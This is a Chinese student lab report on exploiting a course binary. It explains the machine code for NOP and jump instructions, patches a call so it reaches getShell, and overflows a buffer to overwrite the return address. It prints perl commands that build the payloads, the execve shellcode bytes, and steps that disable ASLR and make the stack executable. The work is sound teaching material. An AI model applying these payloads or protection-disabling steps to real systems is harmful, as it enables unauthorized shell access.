欢迎来到网络对抗路 实验一 PC平台逆向破解(5)M
实验一 PC平台逆向破解(5)M
1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2、掌握反汇编与十六进制编程器
(1)之前在云班课《机械指令与汇编语言》一课中提到反汇编,于是进行如下操作对老师所提供的pwn1进行反汇编操作。
命令如下:objdump –d pwn1
objdump是gcc工具,用来查看编译后目标文件的组成
(2)十六进制编程器没什么可说的,直接略过了
3、能正确修改机器指令改变程序执行流程
(1)在完成了第二步的反汇编操作后,我们进行直接修改程序机器指令,改变程序执行流程的操作
- 首先我们找到main主函数,在其中汇编语言里找到
call 8048491<foo>
此条汇编指令为调用位于8048491处的foo函数,此条对应的机械指令为e8 d7 ff ff ff
- 按照实验要求,我们需要让main函数从调用foo函数变为调用getShell函数,故我们只需要修改
d7 ff ff ff
即可,因为e8
在机械指令上是跳转的含义。
当我们执行e8
这条指令时,CPU就会执行当前地址+d7 ff ff ff
这个位置的指令。
- 为什么CPU执行完
e8
的指令会跳转到8048491?
因为d7 ff ff ff
是补码,且求原码顺序要从右到左,因为都是f所以省略,d7的原码为29,故原码为-0X29。
计算80484ba(这个地址是在e8
跳转之后的下一个地址)- 0X29 = 8048491。我们需要计算从该地址跳转到getShell需要的地址数是多少,从80484ba
减去地址数即可。
-
由图所示,getShell的地址为804847d,故地址数为80484ba-804847d=0X3d,0X3d的补码为C3,故指令应该改为
C3 ff ff ff
。 -
由此我们便可以执行我们修改之后的文件,这里我将pwn1备份并改为pwn2进行操作。
在vim pwn2后发现乱码,摁下Esc后输入:%!xxd,将其转换为16进制。
查找要修改的内容e8d7ffffff,将其修改为c3ffffff,之后再使用:%!xxd -r转换为原格式后保存并退出。
- 使用
objdump –d pwn2
对pwn2进行反汇编,检查call指令是否正常调用getShell
- 运行pwn2,发现会得到shell提示符,证明我们的修改成功改变了程序执行流程
4、能正确构造payload进行bof攻击
(1)首先,我们需要知道一件事:call指令的分解
当main函数选择调用foo函数时,会产生call的机械指令,call指令实际上分为两步
-
push eip
-
jump XXX(地址)
就是当执行call指令时,先要将返回地址eip压入栈中,然后跳转到函数入口。eip保
存的是call下一条指令的地址,当调用结束后,程序通过这个地址进行返回。
(2)缓冲区溢出
通过我们之前的学习可以知道,foo函数的缓冲区具有Bufferoverflow的漏洞,就是如果在这个缓冲区填入超出长度的字符串,多出来的字符串内容就会溢出并覆盖到相邻的地址内存上,当这段字符串被恶意设计后,就可能覆盖到返回地址,使我们的返回地址指向其他地方,达到攻击者的意图。
本次实验中我将覆盖返回地址,使返回地址指向getShell。
在这里说一下lea指令,lea是load effective address"的缩写,简单的说,lea指令可以用来将一个内存地址直接赋给目的操作数。
例如:
lea eax,[ebx+8]就是将ebx+8这个值直接赋给eax,而不是把ebx+8处的内存地址里的数据赋给 eax.
由图可知,foo函数留出了“0X1c”的缓冲区,main函数中eip中装入返回地址“80484ba”
当我们得知缓冲区长度是28字节后,基本已经可以还原此时此段堆栈的结构,调用foo函数后eip进栈,保存返回地址,这部分占4个字节,4个字节保存主函数ebp,然后紧跟着缓冲区的28字节,如图所示:
通俗的一点来说,就是先把ebp寄存器压入栈最高位,之后在ebp后开拓28个字节的eax寄存器,最后用esp封底。地址由高到低存放。
(3)验证
下面开始验证
- 首先输入
gdb pwn1
,输入‘r’运行,现在我们构造一个40位的字符串
“1111111122222222333333334444444412345678”观察结果。
- 首先在gbd后面输入r(run),查看运行结果
图片上面程序报告显示:Segmentation fault
- 看样子程序运行不了,我们继续在gdb后面输入info r(reg)打印出程序寄存器的数值
- 这里可以看到,eip寄存器的数值就是我们之前输入的1234,所以可以确定溢出的数值是第33字节到36字节。eip也被其所覆盖。
(4)构造getShell
-
按照之前我们得知的结果,getShell函数的首地址应该是“0804847d”,现在我们只需输入一个36字节的字符串,并精心设计好33字节-36字节的数字即可,因为我们并不能通过键盘实现输入16进制,所以在这里我们使用“Perl”语言将地址通过输出重定向存储到一个文件中。
-
Perl语言: Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。
-
我们输入命令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > la
(la是我随便取的名字,可随意)将地址存储到la文件中来。
接着输入xxd la,查看文件产生的地址数是否为“7d8404080”
由图所示,产生地址成功,接下来就是将la的内容存储到pwn1文件中了。
(这里cat用法我也不太会,看了老师的码云连接才做出来的QAQ)
至此我们再一次成功召唤出Shellcode!任务结束^^
5、注入Shellcode并执行
(1)Shellcode:
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
本次实验我们所需要的Shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
(2)构造buf攻击的方法
-
Linux下有两种构造攻击的方法
-
retaddr+nop+shellcode
-
nop+shellcode+retaddr
在这里说一下nop的用处,nop就是指空指令,机器码为‘0x90’,代表什么都不做,直接进行下一个指令,当程序执行到nop时,都会直接执行我们的shellcode指令。
本次实验采用的是第一种方法:retaddr+nop+shellcode
(3)准备工作
这里的目的是使堆栈可以被执行已经关闭地址随机化,因为我们需要通过调试来确定shellcode的地址
-
输入execstack -s pwn1 //设置堆栈可执行
-
输入execstack -q pwn1
-
输入more /proc/sys/kernel/randomize_va_space
-
输入echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
-
输入more /proc/sys/kernel/randomize_va_space
(4)构造payload
- 输入
perl -e 'print"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(注意这里最后一个字符不是\x0a,不然后续步骤无法完成)
- 注入攻击buf
(cat input_shellcode;cat) | ./pwn1
- 打开另一个终端,先找到pwn1的进程
- 如图可以看出该进程的进程id为“9941”
- 启动gdb,输入attach 9941
- 输入disassemble foo,发现断在“080484ae”
- 输入break *0x080484ae设置断点
- 之后继续输入c继续!!!!!!这一步一定要在另一个终端摁下回车之前!!!!
- 在另外一个终端按下回车(这也是为什么攻击buf不能以\x0a结尾)
- 从图中可以看到虽然执行了命令,但是仍是出现错误,根据老师写的博客来看,他说是当前栈顶也在这,一push就把指令自己给覆盖的原因造成的,不过没关系,我们依旧可以通过这次操作获取到我们需要更改的地址。
- 回到gdb终端,输入info r esp,查看栈顶指针
-
在图中我们可以观察到,1234的地址数为d1dc,云班课的视频提到过,我们找到9999只是相差了4个字节,所以我们直接得出其所在地址为d1e0。那么下一步我们就可以直接通过修改上面输入的40位字符串来实现shellcode注入啦!
-
我们修改字符串,输入命令:
perl -e 'print "A" x 32;print "\xe0\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
- Ohhhhhhhhh!!我们终于成功了!
总结
这次实验相比以往有很大不同,以往的实验都是比较宏观的,使用C语言和java完成的,而这次的实验却是主要和汇编语言、堆栈、机器码打交道.因此我花了很多时间去观看教学视频,自己还原堆栈中的情况,尽量弄清楚每一个步骤的用意和原理。这也提醒了我以后完成实验还要再细致一点,完善思路的同时也可以乐在其中。本次实验我对溢出攻击有了更加深刻的理解,由于程序没有仔细检查用户输入的参数而造成程序被篡改,这可能会带来非常严重的后果。由此我明白了编写正确的代码是一件非常有意义的工作,特别象C语言那种看似简单而容易出错的程序,更容易出现由于追求性能而忽视正确性的问题。这警示我在今后编写代码时应当注意边界条件、检查用户输入数据的正确性等细节问题。
什么是漏洞?漏洞有什么危害
漏洞是黑客入侵的主要手段,包括旁注类。黑客可以利用一个漏洞就能让您的电脑资料,包括密码等商业密码全部盗走,开始一些非法活动,比如用宽带号疯狂的网上消费。漏洞还能让您的电脑变的缓慢,一些病毒源源不断的来袭,您就要考虑是不是有漏洞了。漏洞就比如身上一件衣服,一有漏洞,风就会刮进来越多,自己就觉的越凉。电脑也是一样,越多的漏洞就能让电脑死机、瘫痪甚至报废。